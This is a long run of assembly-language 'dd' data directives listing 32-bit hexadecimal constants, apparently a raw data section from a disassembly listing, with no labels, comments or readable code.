dd 5D0BC632h, 219983F7h, 2C527DDDh, 50F3C7AEh, 8ABC8927h
dd 7261C281h, 0B83A669Eh, 85084194h, 0B6A2E971h, 0C15C1EF9h
dd 58630FA7h, 0E7EB982Ch, 0E0B4E883h, 0C3927BB1h, 39745277h
dd 0F7494F9Eh, 8D985516h, 5B01DC20h, 0F0ACC55Fh, 16408A93h
dd 2370268h, 48580D7Bh, 4205E5C0h, 61F2261Dh, 88DBF942h
dd 488A7FABh, 4A624F7h, 0F23D1D68h, 5150C0A4h, 9D1A4BE9h
dd 0E5B70AE4h, 13E90DE3h, 0D477F27Fh, 32C4CF3Bh, 7E0BD6Fh
dd 4F85ACD1h, 30AA33B5h, 32685633h, 0CAC5083Bh, 473D98BFh
dd 8EE75DF4h, 4827450Ch, 0AFAC0239h, 94232C9h, 464DA4C0h
dd 2F2C795h, 0F747E7D1h, 527804FDh, 7766AAB0h, 7BCF265Fh
dd 825964E3h, 0BBF06C07h, 6ECBFE97h, 8B3B4A9Fh, 554E89B3h
dd 5220EB66h, 0D2BA0B09h, 4604DF1Bh, 9BFFCFBh, 72CD015Bh
dd 0CCBA7390h, 2909BF81h, 8731EF77h, 212A95FDh, 0BF3D9C3Bh
dd 6D70BE0Ch, 0C81C91Ch, 4E4026CFh, 465B7554h, 0BF28ECC8h
dd 68555B90h, 0D41DE72Ah, 64971B70h, 0F1F7244Fh, 65261518h
dd 73CBBC4Eh, 32EBFC4Ch, 2B481166h, 0C5665DFh, 2D54D431h
dd 0D5CC3A03h, 0E8C22190h, 7342E2D1h, 67E80C81h, 6B3E0989h
dd 77542A01h, 0C324E525h, 4E496920h, 0FAA75081h, 5FD60B73h
dd 8B00395Ah, 210949B7h, 3D653EC0h, 622973BDh, 9E0F7CC6h
dd 87909946h, 7DB0FE72h, 132A5F48h, 0A7310A47h, 0A1E85752h
dd 7BDB0079h, 0E7814F5Fh, 0A5272A80h, 0EB005F67h, 0ADC8EF0Fh
dd 27D3D6BFh, 0A6048BD0h, 16FC42Ch, 49D99FAh, 2ECA820Ch
dd 0F72D5F02h, 48EB3FD1h, 941D391Ch, 0BBFA6270h, 5B94E009h
dd 7EC53E11h, 0E672FF7Dh, 82F33084h, 906B5830h, 19BAC8C3h
dd 0D58723C8h, 0C44904DEh, 4774D985h, 229ED2D8h, 0AD098C9Ah
dd 35F4E37Dh, 811C2D8Ah, 0A8234CE2h, 0B103EC0Dh, 29575E30h
dd 62ECFDCAh, 0B32D5B01h, 3BEDE905h, 0FE64D613h, 0D2D5A7C2h
dd 0F9C55B88h, 83D0412Bh, 174EDDE8h, 110C031Fh, 11AED2Ah
dd 1A1284E5h, 14010C08h, 2F65EBE9h, 0CA4EE9E3h, 55590089h
dd 0A0503FBDh, 0B1E9131Ch, 0D734A3A1h, 8C4413EAh, 33093062h
dd 1573705h, 0BE960B9h, 9554F9C8h, 0FD5A127Fh, 0EAFE4FD8h
dd 0EFF29D5Bh, 5F356880h, 0BC2DE975h, 24475126h, 0BA06127Ch
dd 0A65AEBE2h, 0C3EB250Ch, 0E821E1F0h, 687E82E3h, 3980514Eh
dd 3BFBD8C1h, 106E284Ah, 42947BB0h, 0A30ED68Bh, 0E997C675h
dd 272B376Ah, 68E0303Ch, 18954EA3h, 0E11BB925h, 93FCFD7Ah
dd 4ADD6C21h, 0A400562h, 0BB994B58h, 445A6ACAh, 0AAD830E4h
dd 247ACB99h, 8444FE75h, 29C0FA1Fh, 9D7055Bh, 2D0C7F1Ch
dd 0AC38E355h, 0E942F0AAh, 6EC1B27Eh, 0FE596C04h, 0E63F24F4h
dd 0B8054FE8h, 991D92B9h, 808C5B13h, 44B70153h, 0C780DFF6h
dd 0ADE7CC14h, 0E925FE76h, 0A6800E63h, 0A08AF9DAh, 2D2BA11Bh
dd 0E5D4FABh, 4A93618Ah, 12A564CBh, 0E943DCDEh, 6FF5DD2Eh
dd 14054F6h, 82D78F2Dh, 0B8A03EB8h, 0A2CB5F01h, 275235D1h
dd 0E55CDD04h, 502B20BFh, 317C0549h, 30AC512Ch, 4123A682h
dd 887ED420h, 0DF2F2A3Eh, 9050D00h, 68137CAEh, 50AC5044h
dd 908A5C4h, 28DFE559h, 1CE01D9h, 7CE9452Fh, 568C3ACAh
dd 539408Dh, 0D1BDEBB7h, 939EA104h, 41AEC761h, 2BC66A5Eh
dd 0C0BD0922h, 9160665Ch, 3034BE77h, 0E90B95B8h, 939E03B7h
dd 787A0881h, 2C304661h, 66040F22h, 41B3294Dh, 3E03D135h
dd 1412A7CDh, 95890DEh, 453A1C32h, 880A9FEh, 0DF781705h
dd 3C5E9E28h, 0B95AF4Ah, 0B6871B4h, 369061EBh, 56C2F0DCh
dd 0BB05A64h, 29654107h, 2AA7E4FFh, 9583F249h, 0B27588EAh
dd 0B6126896h, 1AC10B6Dh, 8A2489E9h, 8F2B825Ch, 183E84D4h
dd 6618EA71h, 0B917EEADh, 4BFB3E10h, 8519A442h, 1D9FBB5h
dd 806B88BAh, 0F2A86012h, 0CA30C874h, 19E50C5Fh, 0AE2E618Ch
dd 2427F0E9h, 380A5745h, 0FA5E211Ah, 0D4435204h, 0DCCE0980h
dd 3B2D262Fh, 14E602ACh, 5585D5Ch, 0B5230322h, 70F408FAh
dd 0A741A55Ah, 123E3F63h, 5033B62Eh, 0D50CEA48h, 0CC6B9F2Ch
dd 34D961CEh, 5066C520h, 0E5800217h, 0BEC03D39h, 5153AD03h
dd 98D75AF8h, 1213B286h, 6017A6E9h, 8E2E3937h, 4820055Ch
dd 8A7D1219h, 498388FBh, 8EFBFE4Ah, 0A0B45E55h, 2029BA01h
dd 5052DB1h, 57DA30A8h, 4FC380AFh, 52422042h, 4E12A050h
dd 86D6901Eh, 2640B862h, 1276B008h, 5C07013h, 422E4F7Dh
dd 9F8683Ah, 0E9E2BEF1h
dd 2F5D7E78h, 86541AFFh, 0BFF73EA0h, 0D9E5DF5Ah, 0C7B560F8h
dd 9EC131F7h, 26E059C2h, 25C6C22Dh, 7DB64960h, 0D6198328h
dd 69124004h, 60EF019Eh, 4BF5E9FAh, 7F95BA80h, 427F3D1Ch
dd 163F0C98h, 2D3ABD66h, 0CAB04A59h, 13B948Ch, 690F7EBFh
dd 70FF2F3Fh, 321CE974h, 0EB533FCEh, 0D59DE206h, 409D26B4h
dd 915350A2h, 10CA0CBFh, 5E775828h, 971DAC58h, 0FF0452BAh
dd 45BAD752h, 0EEEAB771h, 9F13F58Ch, 218F8FD1h, 454E44F0h
dd 527023FBh, 0AF2647C9h, 0B05416BBh, 236955C4h, 0A5879C97h
dd 7A4BC141h, 0B921CE6h, 0ABA97AA4h, 5319D97Dh, 7A1F28C1h
dd 3EC6E141h, 0F640ECDAh, 93C3295Fh, 8F660CC0h, 0F651779Eh
dd 2CEF2B8Bh, 3A40580Ah, 0AFE20481h, 8051AA2Ah, 9E733005h
dd 91220E6Fh, 1354ED00h, 1168AD5Ch, 0ECFF1464h, 8E4A0FECh
dd 1A6E591Fh, 23F13A60h, 93FD31E6h, 0F8085EEFh, 1AD2785Ah
dd 0F688BC32h, 0C9F89D99h, 17D4D757h, 5D376D62h, 47240DE7h
dd 349011Ch, 0A5D2D7A2h, 1093C8CEh, 81EC2927h, 0ECB83EA0h
dd 0A0894382h, 0B04E2735h, 0DFD6037h, 3159CD89h, 25E9F512h
dd 6368D247h, 0E292C4D5h, 122D4BB3h, 0AC06E370h, 2BE704A3h
dd 0ACEA7F4Bh, 190A1513h, 0CCA3896h, 0C233626h, 6607140Bh
dd 0A429F843h, 0DDD2FB7h, 0AC7A0C92h, 394662F7h, 0F8CDAEBh
dd 0AFE5E84h, 59F74367h, 6AEEEA40h, 66A44150h, 0A25B1440h
dd 5F165DCAh, 0F484BEC5h, 410BF898h, 6C702090h, 7E974C17h
dd 9E38BE1h, 1361E90Fh, 557C406Eh, 18D349FAh, 0BAD72CFFh
dd 24397C3Dh, 0CC023803h, 892DF01Dh, 952905BBh, 0F68C07FFh
dd 0E979012Ah, 7E9F255Eh, 29F472D1h, 62E1282Ah, 46E2465Bh
dd 9D9F8192h, 8F3B7CC0h, 66C22650h, 5537A12h, 0B5728C68h
dd 2207AF5Dh, 325F1513h, 0C3C7F9C0h, 0AF8F1269h, 5FFC2C57h
dd 0E9DBF70Bh, 0EE8F0D2h, 0D3C68058h, 2865C561h, 0D6EDE1F5h
dd 3A6311D7h, 0B741FE3Ah, 649D4CFAh, 5E39A500h, 0FC747775h
dd 51B222C7h, 4833DDC3h, 3265960Eh, 0B3B777FEh, 0A1D4105h
dd 9E852DBEh, 88BE4638h, 55264B67h, 0ED03A89Ch, 1185359h
dd 443C450Ch, 44F5297Eh, 0C081AE9h, 0C05E1404h, 0A9029844h
dd 90A7204Ch, 7F5D2508h, 0E9173614h, 4BF49748h, 0BE06D306h
dd 9C385B0h, 28A690Eh, 0D5C58477h, 0BEFF2DB1h, 4ABEF204h
dd 0FABF9537h, 0CA290B47h, 0D2C5E8D2h, 5C581213h, 0FF591CF1h
dd 0B2AF77DFh, 56F4736Fh, 27F3818Eh, 0FD2B6387h, 0A8A753A4h
dd 12BE5BBEh, 9DB1FA2Ah, 0F2D0F92Eh, 0FF42E9h, 206B8C1h
dd 2D3C1CFBh, 0F90B49C9h, 90717EA2h, 1F01BCD4h, 1134452h
dd 841C778h, 971A9720h, 608CC271h, 0BEADF82h, 692E7564h
dd 0E533DF83h, 0D70167C8h, 0F99FE92Fh, 0D1146260h, 79C18303h
dd 79A80F1Ch, 0C0C4C2C5h, 0FC051367h, 84E25FCAh, 99F72D7Eh
dd 2BC355FEh, 60550B34h, 4759FEF3h, 0A413F42Ch, 184835B6h
dd 6825024Ah, 4BF1627Ch, 95045A82h, 8DE92156h, 773F8FD4h
dd 61300D40h, 0C940E938h, 15D805Ch, 0B3B3D848h, 0BCE82755h
dd 0C1B6125Dh, 9D6EF147h, 0E01BEC4Fh, 514CF692h, 0D9921AEBh
dd 0AF80FF39h, 3754630Ch, 2E6C117h, 2E26CE07h, 0CD7E0039h
dd 986D34ADh, 0C8ED094Dh, 845737E3h, 1BC15D7Bh, 0B881FB99h
dd 913FF3BFh, 5A137B2Ch, 6A0404BAh, 278E103Ah, 0E31B08F0h
dd 2EC22302h, 0BC58579Dh, 2C1EC959h, 0AB1A064Eh, 4BDB6EFBh
dd 314FB942h, 929F7A7Bh, 87FED755h, 60F2369Ah, 18A40507h
dd 5BA3671Dh, 5E242E43h, 0D1DA30DDh, 197B368h, 0D6A56DA2h
dd 9E87D60h, 1F63E95Dh, 8127D377h, 0BE2B99B9h, 14127B45h
dd 781266BDh, 24CD2016h, 0FF4BC23Eh, 0C5E789D0h, 0A1A95012h
dd 0F2CE3DEFh, 7F242BDCh, 2FCAF3Fh, 0CCC5895Ah, 6BE91672h
dd 6AECF584h, 0E1560404h, 0A5A5BB12h, 10BCCB6Ah, 77B5BC4h
dd 5A56F1F7h, 0BCD7B4C6h, 94386939h, 0A0BF7008h, 7C372319h
dd 400AB0E6h, 5F71BE55h, 0B331B42Ch, 9BA83417h, 94745CE2h
dd 0D1DC75FAh, 0F4139CC2h, 0BC746499h, 0EC2000AAh, 7686659h
dd 662DE919h, 41DDB078h, 56EA3B44h, 2E0F0962h, 64EFF076h
dd 7FE4103Dh, 0C209268Ah, 350F0B76h, 0B9138990h, 318B6409h
dd 61ECF1D0h, 2FAD71E9h, 5F782EA2h, 0BED7C5A3h, 7DFBACC4h
dd 0EF16445Dh, 94DD4788h, 4B680F52h, 2C41CC53h, 31988295h
dd 813048C1h, 255C0FE1h, 0AB0C57D1h, 0D248F787h, 56150638h
dd 95F0DA51h, 0C825AB56h, 81803BE7h, 4475205Ch, 737D469Fh
dd 3E3200D3h, 538DE381h, 0CCE2DB1h, 39D2873Bh, 0B548EBC0h
dd 0F0B95BDBh, 0EA4180DEh, 0A47F1F4h, 581DA211h, 49B117A4h
dd 635DBD86h, 95D1D18Ah, 3E4E1824h, 16E2D636h, 6604FC10h
dd 904037FCh, 6671787Dh, 0EC6105Eh, 7F36AF81h, 91BAFF00h
dd 0F43FD203h, 0AB2FFB7Ch, 0BD30D22Dh, 0B1C7AB2Eh, 0A2500DB7h
dd 98455EF5h, 765175Eh, 45EBC47h, 5AC40A67h, 44D69DC1h
dd 8303F93Fh, 9BC50966h, 0F5940B58h, 868A0F26h, 413E3B43h
dd 4FB05FBFh, 1BD6C71Eh, 2B74C90h, 5F6064AEh, 4589DDFBh
dd 8869F601h, 0D920AADFh, 693A3100h, 5AA4BE73h, 0BD124CE1h
dd 25950628h, 90D5FEF8h, 0B7AF745Ch, 7DCDB468h, 3A2E082h
dd 2442510h, 0E9CAB87Fh, 0AED7D0B8h, 304A4909h, 0F0EE2907h
dd 29DE9D19h, 1762F258h, 9F28F9C7h, 3A681C53h, 3AFD2548h
dd 0CF765F1Eh, 13D89667h, 0B11DE858h, 8583187Bh, 0DC7E78C7h
dd 32FF01CAh, 33B27526h, 23D89490h, 9F4CFB88h, 98C31Ch
dd 0B1602841h, 0F5920Ah, 0D6BA52ADh, 2927D238h, 81C9D79Ch
dd 4121EF76h, 5122DC8h, 2969B96Ah, 990D80F0h, 361774Ch
dd 681BCE42h, 4B07A720h, 2B65C915h, 0E819405Dh, 0C2C64A16h
dd 1D005FD9h, 199E75A9h, 13ABD397h, 0D34EBF23h, 3F12FFC3h
dd 680E03CFh, 0BA124601h, 0CB65ADDAh, 11323353h, 0D2F604DCh
dd 0A22C0EFEh, 76533211h, 62AC5CD1h, 5C0B94A0h, 0D7C8268h
dd 0EA540CD4h, 0C21A5B49h, 948FD601h, 38E46C42h, 31783942h
dd 0AB82ED9Eh, 7B6F7175h, 0EEBD0997h, 0B4018B50h, 80DCF6C3h
dd 0CCCCA7E4h, 0FFD4F0ECh, 2267D7D7h, 0F458E302h, 0D8886197h
dd 0D4C1CD51h, 8B7D59CAh, 0B777BE97h, 3E170DEDh, 0E00DFD85h
dd 0A9859971h, 0EF18E8C1h, 42E04481h, 12F5E00Dh, 5ED0FEBCh
dd 2064810Ah, 46BF02E1h, 3C23CC07h, 57955F6Bh, 8C27499h
dd 90E54FE9h, 3B47F3FAh, 72651B25h, 181CF03Bh, 0E64B2A41h
dd 7C302630h, 0D3932A2Eh, 2164BD9h, 80E236Ch, 819BD8FFh
dd 0EA55B08h, 0D149E255h, 0D37927E9h, 1496F569h, 30506812h
dd 0F5C41DEDh, 5D505A28h, 53E4CA40h, 4A05C105h, 60C6CA87h
dd 3FE91208h, 21D99CDAh, 0DD61C15Ah, 416F3FCEh, 9B0AEA9Fh
dd 27A92B46h, 672D6F00h, 0F968E97Ch, 0B40AD19Fh, 0FAA8C447h
dd 0ABB8D8Ch, 5940343h, 52300394h, 0A6092E2Ah, 83F54F45h
dd 3B6C0CD0h, 0FCA5E033h, 0BE31A405h, 2568772Ch, 0EAE63BB5h
dd 501F0D4Eh, 0D1405B49h, 71108404h, 0C752C1A6h, 769B7CEFh
dd 8C12E84Ah, 4CDF1FADh, 0F1653816h, 0ADE92241h, 0A4FE8754h
dd 0D6400B8Ah, 0E0535B55h, 3E4B4CE1h, 3714F2B6h, 0E3855228h
dd 0C769A46Dh, 58B71F3Ch, 0C9005AF0h, 0F236FEB9h, 7FFC953Bh
dd 821E0350h, 9E7BE6F2h, 387C5B81h, 0BCA6CC9Eh, 0ED0E8016h
dd 0AEFD289Ah, 0CC53BFC5h
dd 0E119D385h, 92E08AEh, 0A78228E9h, 7E5AFCB6h, 0B0A5FCFBh
dd 0E7E27D82h, 3D4214DCh, 51F3200Dh, 210A047Ch, 94154A68h
dd 0F539598Bh, 4D9989CCh, 906EE5C6h, 9CDEC997h, 0DEC0084h
dd 9BE96854h, 519D8104h, 0A3FB05C1h, 579269AFh, 7A121201h
dd 52E3C5Eh, 6D9D9EF6h, 7121C2BAh, 0C79D8976h, 9DF14CE7h
dd 2CC57248h, 294AB179h, 84066FCh, 1C9FE5Eh, 11271486h
dd 6A49D1F7h, 94886CF1h, 0B53A0C25h, 81FEB915h, 0FDD0F660h
dd 1CE87E27h, 60711CCBh, 7F9CFF69h, 5DD20827h, 74A28818h
dd 0DDFE7E2Ch, 0FDA1E904h, 5EF08C91h, 4FBBEC7Eh, 606F14AEh
dd 3BC2852Fh, 2600CD7Dh, 0AAB645F3h, 65BF0B16h, 0EA32E0CBh
dd 2A317016h, 498AD900h, 38E91393h, 0EB4A1A6Ch, 263045D9h
dd 0E1082753h, 0B0D9181Bh, 75162BB7h, 1CFA6616h, 0E980C184h
dd 0C99D2C8Fh, 0AC4ED833h, 0A93C2F95h, 8237DEEAh, 0B578C8EEh
dd 2ABBA0C1h, 0FE4B13BFh, 71123A19h, 0B476BDD8h, 34F50876h
dd 20055912h, 2D8812A5h, 0DDAF4F19h, 10383985h, 573B9ABEh
dd 5E87672Dh, 9D33F1B9h, 5BFC2F28h, 97D0C50h, 564E99C7h
dd 0DFB0B2F8h, 75EE594Ah, 5D8AFE5h, 685F13FAh, 0E945C18Ch
dd 7A2F6872h, 661EDC25h, 0BDCAB872h, 91815EDAh, 46A22A8Ch
dd 4F710BD3h, 851A25B0h, 0B0AF4EB7h, 0F63A4B7Ah, 0E3FA12CFh
dd 1698A6BFh, 0E809D7F6h, 0BC6B04FDh, 95058AB0h, 8EDEC529h
dd 26F22F08h, 0FF1245Dh, 23B37F7Ch, 8F2E9CCh, 63355B00h
dd 69A7012Bh, 4E876E2Dh, 0C8982A34h, 56C9C520h, 62D4FF68h
dd 0FEF33382h, 432E01A1h, 2E422CFEh, 4416ADE8h, 4FBBF712h
dd 4E8C56AFh, 0BC9275DBh, 8063C049h, 45213EBh, 87E9D4B6h
dd 0F0FEA433h, 71C04417h, 0AEEEC4BBh, 0AFD3A7E9h, 0E56AEC88h
dd 0D99316Ah, 21CC49C0h, 0E17D35Bh, 10204B43h, 2AA70E10h
dd 78EA535Ah, 0AFB24F95h, 4807B610h, 0C89B27C2h, 95362D80h
dd 552F884Dh, 2FD25F9Ch, 1CBB8BAFh, 4DA6C8E9h, 7E8BFD25h
dd 5EB2A57Dh, 0E94960ABh, 65953162h, 4643095Ah, 0FCBD1814h
dd 53A00282h, 0C5DD43BFh, 0FEE9454h, 135AE90Ch, 576E5EE3h
dd 0DA0859h, 1A4C0EB8h, 310F0524h, 0E4261006h, 6F98A374h
dd 43E460F4h, 7D085CDFh, 5BC595Ch, 57F613F9h, 85D50EBh
dd 0B1B9E913h, 0D23C32B0h, 80335407h, 0EC30EA97h, 0B8E1305Ch
dd 0EDB5203Eh, 594CCAE0h, 0C0C9095Dh, 0D09107E0h, 0E52C6033h
dd 880FC2AFh, 0F18044C0h, 831D8D4Ah, 1CBEEA8Eh, 0FB08A3E4h
dd 0E8C00327h, 2CA1FE08h, 0F608A7C6h, 1C615A8Eh, 58E7C8CCh
dd 5FF05264h, 68511C16h, 247992E0h, 10F6C601h, 5CBF035Eh
dd 0D23B8154h, 9A6850C9h, 0BADEBF05h, 4224F72Dh, 0AD52C489h
dd 55851016h, 31139348h, 3A7F216Bh, 4FA053Fh, 0FE41EE06h
dd 5C3538h, 0E5768468h, 29E9593Ah, 10D8AF56h, 0A94A64C9h
dd 77680922h, 69BF4411h, 0F957D77Dh, 0E6D42F99h, 68D1616Eh
dd 0A555C19h, 5AE43A41h, 0E4362218h, 0C12FD41h, 0D43AEE0Ch
dd 7561650Dh, 0DB8852B5h, 8E80B810h, 60C0E14Fh, 7F1264C9h
dd 0B70F3428h, 35800151h, 2422D631h, 9A3994D4h, 0E9406785h
dd 4AAFFCD7h, 13978EAEh, 1A56C0E9h, 0E9FC68AEh, 5CA1095Eh
dd 0BD4EB87Fh, 0AB4D856Bh, 7617AAF7h, 9528AE1Ch, 0E50F41CCh
dd 2CF0C0B6h, 0B12C51E8h, 2312C809h, 0D7580D09h, 0D1318318h
dd 0EBFECAE4h, 0ED2F7EB4h, 54681C9Fh, 0E9C2D972h, 92D514E3h
dd 8A46FD34h, 4A9A6817h, 52DE68BBh, 0E916BA42h, 0ACA7431Fh
dd 20E3F92Ch, 0D88392F3h, 2E304BC7h, 0FB989DB3h, 28E87D79h
dd 0B753D809h, 0E7E70F72h, 0D34E0D0h, 0EF4182h, 5C0CF381h
dd 7645E225h, 0D1C0722Eh, 92261DDAh, 0CC009A3Dh, 0E9DDCB46h
dd 0A6235F93h, 0C48E41D7h, 2CC15510h, 4D5EA9EBh, 418FE920h
dd 0F5D05464h, 65BA2BE1h, 39A3E164h, 0BE65D2F7h, 0FDDAD6BDh
dd 627D71FFh, 3A4ADAE9h, 11450257h, 0A9D20C73h, 48133017h
dd 660021C5h, 4F696718h, 76CE3F81h, 0E90A8F04h, 0D6FA88Ah
dd 7D9F766h, 802C9520h, 20FBEA88h, 81609EA5h, 0EC9AC1E1h
dd 0BD990235h, 44C811F6h, 7F4923D6h, 0B0FA2425h, 12242D19h
dd 0B83ABC38h, 7A039285h, 145EB3A8h, 14ECDC1h, 564A74EBh
dd 83B774F4h, 4E9AE850h, 0C15002F1h, 7040E0F0h, 3E9B7B97h
dd 0C2124D74h, 4CD2EA4Ch, 2DE55402h, 5B5CEF7Ah, 7FC45942h
dd 0EA0B2D2Bh, 131D16BDh, 9324C120h, 16A1385h, 1A5B6D3h
dd 2E371BC3h, 88FA294Bh, 0C3008FFh, 4BBB27A2h, 3FC3B011h
dd 5E6D6417h, 36101DB9h, 0E73078F3h, 0DB1C2202h, 9B95A375h
dd 0EF7F010Dh, 71982B55h, 720E8C5Ah, 4EE94A77h, 3A8CF1B4h
dd 0B092BBFh, 75FEE5BEh, 0F12DBBB0h, 72F92705h, 681C801h
dd 0B7003165h, 0CF79FE18h, 8480224Fh, 9F204F29h, 8FB16F14h
dd 0E6FB690Bh, 190B2027h, 0E7DBB48h, 7CD160EBh, 801700ADh
dd 78343F42h, 1054FC1h, 4F199DA8h, 73A47F96h, 607B4121h
dd 12268D9Eh, 0EE07D10Ah, 64ECACDFh, 0CACD4AC4h, 3C6B1041h
dd 0F5295A04h, 0B344875Eh, 16030B58h, 9F6BDAB9h, 0D3D08D51h
dd 14322B54h, 605585Fh, 5B996F50h, 72BFE75Ah, 1573D99Fh
dd 0F713A915h, 2C6301DFh, 17AB7Ch, 5C35DE41h, 4920F512h
dd 50E6BD0Fh, 0F821AB02h, 48F70087h, 0E932B965h, 0C6BF273Dh
dd 57B0AC2h, 58B80990h, 0B8045052h, 3BFF294Eh, 19D9E280h
dd 0E90209CBh, 0DC5AA6E1h, 0C7F5C17h, 0DE2DB00h, 17289846h
dd 21123EE9h, 2F135402h, 0FF045124h, 0B913D433h, 0A31B937Dh
dd 0A04C04C5h, 0F917BC4Ah, 0BB97345Fh, 0A4D9E8BBh, 0DA8461A2h
dd 0FB39AB21h, 68147223h, 0AC1718C1h, 4732D130h, 879C2C25h
dd 7EA5F488h, 3B466CA8h, 23C5254Dh, 458AAE47h, 8276CE40h
dd 204B5A55h, 0DB222C8Bh, 1D01EC58h, 807DB490h, 0F26A6CE1h
dd 2ECC126h, 0E9050E9Eh, 0A4BB6FAEh, 0FD9DC84Dh, 0BE0F1290h
dd 0C4977CBDh, 54B392C7h, 5A279F44h, 0C3CD71F3h, 4B851F68h
dd 9CF6877Ch, 8EBF0AB4h, 54EB7DECh, 533E320Dh, 0DD981A50h
dd 6639692Fh, 35AF0966h, 12805F20h, 1ABF1527h, 92AFF89Dh
dd 0AC673AB4h, 0EF9A6D9Ah, 0EB1F4074h, 0C1A157CCh, 15BE12F5h
dd 0A637045Fh, 25D8AA80h, 0A7204AE2h, 0CC2F182Eh, 13CAF73Dh
dd 167A506Ah, 8F590275h, 32752945h, 1FCED7D5h, 1DBB5307h
dd 82090E4Ah, 77DBF730h, 0A282D274h, 6A2C4270h, 85FD6035h
dd 0B70E2647h, 6F688E34h, 0F060FE56h, 1B7C4FCEh, 98C78364h
dd 6750509Fh, 0E733C16Ch, 31581208h, 0AA0C1324h, 5312FCFCh
dd 0D6ADE92Fh, 3E43599Bh, 8A8744BFh, 0F9BC8D07h, 602435AFh
dd 3EE19761h, 0BF9985B0h, 7D092573h, 8496F5D4h, 80020790h
dd 0C16F1B45h, 0D617E0E0h, 2CD91824h, 7BC31E57h, 89614698h
dd 0F09DE9B6h, 0A6F3A3A6h, 20F8B7A5h, 0B85EB35Ch, 0E3318916h
dd 0A7C654EFh, 0D14C2204h, 0A680EF0Bh, 645C6015h, 0A90E9842h
dd 66CED2BFh, 1C58680Bh, 0B1AD6751h, 0A72F87C1h, 0F64A127Eh
dd 0C817738Ah, 0EEE340EAh, 85A78B0h, 0B7E05D4Eh, 0E9540B55h
dd 0C5F244BDh, 64B05B7Dh, 812C5920h, 0F36A72F6h, 2E90966Fh
dd 97111E55h, 51F6B1E0h, 89E90FCBh, 0C843DE5Bh, 93273AF9h
dd 0BA701498h, 17DDD682h, 4A3CEC17h, 558959FDh, 20EC9657h
dd 409FA77Ah, 82C17192h, 603EB06h, 0BB95062Eh, 1F4E216h
dd 180917BFh, 5639AF24h
dd 0D9DBCBD9h, 89224AE7h, 2B0A3448h, 5F96A9Dh, 0EFC529AAh
dd 11C78E04h, 7B79B6AAh, 98C0B125h, 1FF6C297h, 892AD7A1h
dd 76146B1Bh, 4B77F4B5h, 0D05860F4h, 1E56053Eh, 22DF829h
dd 0E2E95F07h, 0BD5025C9h, 334B81DAh, 4DDDF739h, 57A2C30h
dd 89C901EAh, 0C3F804E8h, 57DDBC58h, 0E6A61210h, 0FC01B0A5h
dd 0CE78FEF4h, 6F51D6CEh, 0C0D079Eh, 0DD4DD709h, 0E9CB5B19h
dd 0B69F64D6h, 0ACD388CFh, 77DF6025h, 436B2F23h, 8351374h
dd 0A17D90EFh, 0A62018E4h, 0F8895A01h, 0F5F93467h, 591CA4AFh
dd 34983BFFh, 63D96044h, 703E89C2h, 2FFC765Fh, 1504FF4Ch
dd 0EC0DD272h, 5965820h, 27C86B7Eh, 7C79F007h, 52C44085h
dd 51855E94h, 66D5CB1h, 0AC31DA2Ch, 27FEA474h, 0E004A975h
dd 0BC5DE994h, 7268044Eh, 3B65AF56h, 0E9F3E8FCh, 6A64E6E3h
dd 5B9699EAh, 16B409B4h, 0DA2D26DCh, 5068D0A8h, 30283B5Ch
dd 0F8CB4B36h, 98677253h, 0EA63A40h, 13837828h, 0A09E4097h
dd 56C3E13Eh, 659CE21h, 6A03334Ah, 639EE0Eh, 6E1A8681h
dd 121371D0h, 0EFEE30E9h, 5C2C2938h, 90443AE5h, 0EE445A01h
dd 0E0AE5E25h, 0C4C058C6h, 4A7D719Dh, 0B74CF0E9h, 7096D814h
dd 0B6BCE958h, 0FC643EA8h, 215CEE05h, 67C9525Fh, 2090F21Dh
dd 3C903645h, 0CF137C5Bh, 8506A3ABh, 0FCE736A6h, 45292F7Bh
dd 0D9711177h, 0C9F2F8E8h, 8D8BDFDDh, 5D2D36D4h, 0CCF76D0Bh
dd 402FE1E9h, 7343E351h, 21983FC0h, 24404638h, 77A5BF02h
dd 0E92C9F4Eh, 5FAFEA56h, 0A4A1B116h, 2C367ECDh, 1F7BF97Bh
dd 9BD5659Eh, 5F25E144h, 7702A36Ah, 0C3210DB4h, 772DE52Eh
dd 0EF5B9F84h, 0B242F461h, 0E4587160h, 82E64AE9h, 0E1483331h
dd 394659Ch, 2D167CCBh, 729E0975h, 710A20B9h, 6CA85F5Fh
dd 95495A19h, 3BAD2EDDh, 0BF8A70D2h, 53714407h, 0BE95612h
dd 79ADEFC3h, 162625A9h, 28681A10h, 0D1F86A5Ah, 0D80F41C5h
dd 451744D5h, 0D8E87B5Fh, 0E74ED80h, 0CC06FA9h, 9299DBACh
dd 0BF79F8E9h, 3A3BE919h, 0CB50730Fh, 0BA9D846h, 54646853h
dd 25C051D4h, 74E919D5h, 0BB26C095h, 781452EAh, 61BC4B5Fh
dd 47445802h, 80FD093Ch, 3EFCF394h, 193248E8h, 0C1334004h
dd 0C561C270h, 0A7F88D05h, 6CEA123Eh, 0C2800564h, 9279C5B0h
dd 97605D8Bh, 0D122BE09h, 39695C3h, 6679B625h, 479D2093h
dd 83CC43B5h, 0DC4BD2C3h, 0B8DF27D1h, 5849F2E3h, 8B69620Ch
dd 8B53EE0h, 7295BFE0h, 8AB7254Eh, 61C9601Bh, 0E16C243Bh
dd 20275290h, 80697173h, 0F164501h, 0BD205B8h, 0D86304FAh
dd 0CE810056h, 0CE462AB0h, 6B22EEE8h, 747D7F4Eh, 7CB6099Fh
dd 5477B4A2h, 16721957h, 0BAFCFBE4h, 3AC02067h, 81728398h
dd 574A9F0Ch, 12590C44h, 0BC48464Fh, 4ED52E15h, 0AA69AC2h
dd 71DA0B43h, 0F14E93FFh, 0BA041239h, 0F57A9DA1h, 4352CE92h
dd 9A6DB97h, 0B4CAC768h, 0C9BCDBF5h, 0E90FB65Bh, 0FF1E5ACDh
dd 0DA9286A0h, 0E19FDCD1h, 0FE3A53EEh, 51895A2Ch, 0D024EBD0h
dd 694F0935h, 105E6C6Dh, 868AAAA6h, 85BDB61Fh, 15CC63AAh
dd 0C118F9FCh, 0D1F59EE5h, 0E1065112h, 2023CDEEh, 0CDEE555Ch
dd 0F9DE5097h, 7211F26Bh, 1476B4EDh, 0BC6D24FFh, 0A0E425F1h
dd 3B2FC961h, 0B1124E17h, 6DA06EEEh, 9B9C39C7h, 452FF9D1h
dd 0F1FCE9F7h, 20F22E3Dh, 0E3D3FFA4h, 0F1FE9244h, 0F99D0BB9h
dd 0E8516EB1h, 139F1149h, 341235D9h, 329BEC53h, 0F55EADA7h
dd 1A0B3464h, 527958h, 5F359B20h, 5EE8C416h, 0EB8AA31h
dd 7A9EEAB0h, 0D94FB82Ah, 0FD97059Ah, 1857D6B2h, 0A47BE9C1h
